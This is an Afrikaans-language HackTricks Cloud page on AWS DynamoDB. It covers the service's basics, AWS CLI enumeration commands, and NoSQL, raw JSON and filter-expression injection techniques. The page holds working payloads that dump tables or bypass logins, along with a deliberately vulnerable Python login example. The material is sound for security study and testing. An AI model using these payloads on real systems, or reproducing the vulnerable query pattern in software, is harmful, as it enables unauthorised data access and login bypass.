AWS - DynamoDB Enum
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
DynamoDB
Basiese Inligting
Amazon DynamoDB word deur AWS aangebied as ’n volledig bestuurde, serverless, sleutel-waarde NoSQL-databasis, ontwerp om hoë-prestasie toepassings te ondersteun, ongeag hul grootte. Die diens verseker robuuste kenmerke, insluitend inherente sekuriteitsmaatreëls, ononderbroken rugsteun, geoutomatiseerde replikaasies oor verskeie streke, geïntegreerde in-geheue kas, en gerieflike data-eksporthulpmiddels.
In die konteks van DynamoDB, in plaas daarvan om ’n tradisionele databasis op te stel, word tafels geskep. Elke tafel vereis die spesifikasie van ’n partisie-sleutel as ’n integrale komponent van die tafel se primêre sleutel. Hierdie partisiesleutel, wat essensieel ’n hash-waarde is, speel ’n kritieke rol in beide die herwinning van items en die verspreiding van data oor verskeie gasheers. Hierdie verspreiding is van kardinale belang vir die handhawing van beide skaalbaarheid en beskikbaarheid van die databasis. Daar is ook ’n opsie om ’n sorteersleutel in te sluit om data-organisasie verder te verfyn.
Enkripsie
Standaard gebruik DynamoDB ’n KMS-sleutel wat **aan Amazon DynamoDB behoort,** nie eens die AWS bestuurde sleutel wat ten minste aan jou rekening behoort nie.
Rugsteun & Eksport na S3
Dit is moontlik om die generasie van tafelrugsteun te skeduleer of om dit op aanvraag te skep. Boonop is dit ook moontlik om Punt-in-tyd herstel (PITR) vir ’n tafel in te skakel. Punt-in-tyd herstel bied deurlopende rugsteun van jou DynamoDB-data vir 35 dae om jou te help beskerm teen per ongeluk skryf- of verwyderingsoperasies.
Dit is ook moontlik om die data van ’n tafel na S3 te eksporteer, maar die tafel moet PITR geaktiveer hê.
GUI
Daar is ’n GUI vir plaaslike Dynamo-dienste soos DynamoDB Local, dynalite, localstack, ens., wat nuttig kan wees: https://github.com/aaronshaf/dynamodb-admin
Enumerasie
# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field
#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename
# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>
# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>
# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>
# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints
Ongeauthentiseerde Toegang
AWS - DynamoDB Unauthenticated Access
Privilege Escalation
Post Exploitatie
AWS - DynamoDB Post Exploitation
Volharding
DynamoDB Inspuiting
SQL Inspuiting
Daar is maniere om toegang tot DynamoDB data te verkry met SQL-sintaksis, daarom is tipiese SQL-inspuitings ook moontlik.
NoSQL Inspuiting
In DynamoDB kan verskillende voorwaardes gebruik word om data te verkry, soos in ’n algemene NoSQL-inspuiting. As dit moontlik is om meer voorwaardes te koppel om data te verkry, kan jy verborge data verkry (of die hele tabel dump).
Jy kan hier die voorwaardes vind wat deur DynamoDB ondersteun word: https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html
Let daarop dat verskillende voorwaardes ondersteun word as die data via query of via scan verkry word.
Note
Trouens, Query aksies moet die voorwaarde “EQ” (gelyk) in die primêre sleutel spesifiseer om te werk, wat dit baie minder geneig maak tot NoSQL-inspuitings (en ook die operasie baie beperk maak).
As jy die vergelyking wat uitgevoer word kan verander of nuwe kan byvoeg, kan jy meer data verkry.
# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space
Rauwe Json inspuiting
Caution
Hierdie kwesbaarheid is gebaseer op dynamodb Scan Filter wat nou verouderd is!
DynamoDB aanvaar Json-objekte om data binne die DB te soek. As jy vind dat jy in die json-objek wat gestuur word om te soek, kan skryf, kan jy die DB dump, al die inhoud.
Byvoorbeeld, inspuiting in ’n versoek soos:
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'
’n aanvaller kan iets soos hierdie inspuit:
1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0
regstel die “EQ” voorwaarde wat soek na die ID 1000 en dan soek na al die data met ’n Id-string groter as 0, wat alles is.
Nog ’n kwetsbare voorbeeld wat ’n aanmelding gebruik kan wees:
scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])
dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))
Dit sou kwesbaar wees teen:
username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
:property Injection
Sommige SDK’s laat toe om ’n string te gebruik wat die filtrering aandui wat uitgevoer moet word soos:
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
Jy moet weet dat wanneer jy in DynamoDB soek om ’n attribuut waarde in filteruitdrukkings te vervang terwyl jy die items skandeer, die tokens moet begin met die : karakter. Sulke tokens sal met die werklike attribuutwaarde tydens uitvoering vervang word.
Daarom kan ’n aanmelding soos die vorige omseil word met iets soos:
:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

